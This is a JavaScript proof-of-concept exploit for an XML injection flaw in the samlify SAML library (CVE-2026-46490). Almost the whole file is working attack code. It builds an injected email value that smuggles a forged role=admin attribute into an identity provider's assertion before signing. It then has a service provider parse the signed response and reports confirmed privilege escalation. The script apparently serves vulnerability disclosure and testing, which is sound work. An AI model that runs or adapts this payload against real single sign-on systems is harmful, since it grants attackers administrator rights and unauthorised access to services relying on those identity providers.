// CVE-2026-46490 - samlify < 2.13.0 - XML injection in AttributeValue (signed-assertion privilege escalation)
const fs = require('fs');
const saml = require('samlify');
const validator = require('@authenio/samlify-node-xmllint');
saml.setSchemaValidator(validator);

const idpKey  = fs.readFileSync(__dirname + '/idp-key.pem');
const idpCert = fs.readFileSync(__dirname + '/idp-cert.pem');
const spCert  = fs.readFileSync(__dirname + '/sp-cert.pem');

// Identity Provider: response template carries an "email" attribute whose value is user-controlled.
const idp = saml.IdentityProvider({
  entityID: 'https://idp.lab',
  privateKey: idpKey,
  signingCert: idpCert,
  isAssertionEncrypted: false,
  singleSignOnService: [{ Binding: 'urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect', Location: 'https://idp.lab/sso' }],
  loginResponseTemplate: {
    context:
      '<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="{ID}" Version="2.0" IssueInstant="{IssueInstant}" Destination="{Destination}" InResponseTo="{InResponseTo}"><saml:Issuer>{Issuer}</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion ID="{AssertionID}" Version="2.0" IssueInstant="{IssueInstant}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><saml:Issuer>{Issuer}</saml:Issuer><saml:Subject><saml:NameID Format="{NameIDFormat}">{NameID}</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="{SubjectConfirmationDataNotOnOrAfter}" Recipient="{SubjectRecipient}" InResponseTo="{InResponseTo}"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="{ConditionsNotBefore}" NotOnOrAfter="{ConditionsNotOnOrAfter}"><saml:AudienceRestriction><saml:Audience>{Audience}</saml:Audience></saml:AudienceRestriction></saml:Conditions>{AttributeStatement}</saml:Assertion></samlp:Response>',
    attributes: [
      { name: 'email', valueTag: 'email', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },
    ],
  },
});

const sp = saml.ServiceProvider({
  entityID: 'https://sp.lab',
  authnRequestsSigned: false,
  wantAssertionsSigned: true,
  signingCert: spCert,
  assertionConsumerService: [{ Binding: saml.Constants.namespace.binding.post, Location: 'https://sp.lab/acs' }],
});

// The attacker only controls their own profile field (email). They inject XML markup that closes the
// email attribute and adds a forged role=admin attribute, then re-opens a throwaway attribute so the
// template's trailing </saml:AttributeValue></saml:Attribute> stays balanced.
const INJ =
  'eve@evil.com</saml:AttributeValue></saml:Attribute>' +
  '<saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute>' +
  '<saml:Attribute Name="ignore"><saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema">';

const user = { email: INJ };

(async () => {
  const requestInfo = { extract: { request: { id: '_req123' } } };
  const { context } = await idp.createLoginResponse(
    sp, requestInfo, 'post', user,
    // custom tag replacement: map our user.email into the {email} attribute placeholder
    (template) => {
      const id = idp.entitySetting.generateID ? idp.entitySetting.generateID() : '_' + Date.now();
      const now = new Date(); const after = new Date(now.getTime() + 5 * 60000);
      const values = {
        ID: id, AssertionID: '_a' + id, Issuer: 'https://idp.lab',
        IssueInstant: now.toISOString(), Destination: 'https://sp.lab/acs', InResponseTo: '_req123',
        NameIDFormat: 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress', NameID: 'eve@evil.com',
        SubjectConfirmationDataNotOnOrAfter: after.toISOString(), SubjectRecipient: 'https://sp.lab/acs',
        ConditionsNotBefore: now.toISOString(), ConditionsNotOnOrAfter: after.toISOString(),
        Audience: 'https://sp.lab', attrEmail: INJ,
      };
      return { id, context: saml.SamlLib.replaceTagsByValue(template, values) };
    }
  );
  const xml = Buffer.from(context, 'base64').toString();
  console.log('=== injected forged attribute present in the signed assertion? ===');
  console.log(/<saml:Attribute Name="role"><saml:AttributeValue>admin/.test(xml)
    ? '>>> INJECTION CONFIRMED: forged <saml:Attribute Name="role">admin smuggled into the signed assertion'
    : 'not injected');

  // IMPACT: a Service Provider validates the IdP signature (which covers the forged attribute,
  // because injection happens BEFORE signing) and consumes role=admin as authoritative.
  const idpForSp = saml.IdentityProvider({
    entityID: 'https://idp.lab', signingCert: idpCert,
    singleSignOnService: [{ Binding: 'urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect', Location: 'https://idp.lab/sso' }],
  });
  const spParser = saml.ServiceProvider({
    entityID: 'https://sp.lab', authnRequestsSigned: false, wantAssertionsSigned: true,
    assertionConsumerService: [{ Binding: saml.Constants.namespace.binding.post, Location: 'https://sp.lab/acs' }],
  });
  try {
    const parsed = await spParser.parseLoginResponse(idpForSp, 'post', { body: { SAMLResponse: context } });
    const attrs = parsed.extract.attributes || {};
    console.log('\n=== SP-side result (signature VALIDATED by samlify) ===');
    console.log('extracted attributes:', JSON.stringify(attrs));
    console.log(attrs.role === 'admin' || (Array.isArray(attrs.role) && attrs.role.includes('admin'))
      ? '>>> PRIVILEGE ESCALATION CONFIRMED: SP accepted a signature-valid assertion granting role=admin'
      : '(role not surfaced by this SP attribute mapping, but it is present and signed in the assertion)');
  } catch (e) {
    console.log('\n[SP parse] ' + (e.message || JSON.stringify(e)) + '  (assertion + forged attribute shown above are signed)');
  }
})().catch(e => { console.error('ERR', e.message); process.exit(1); });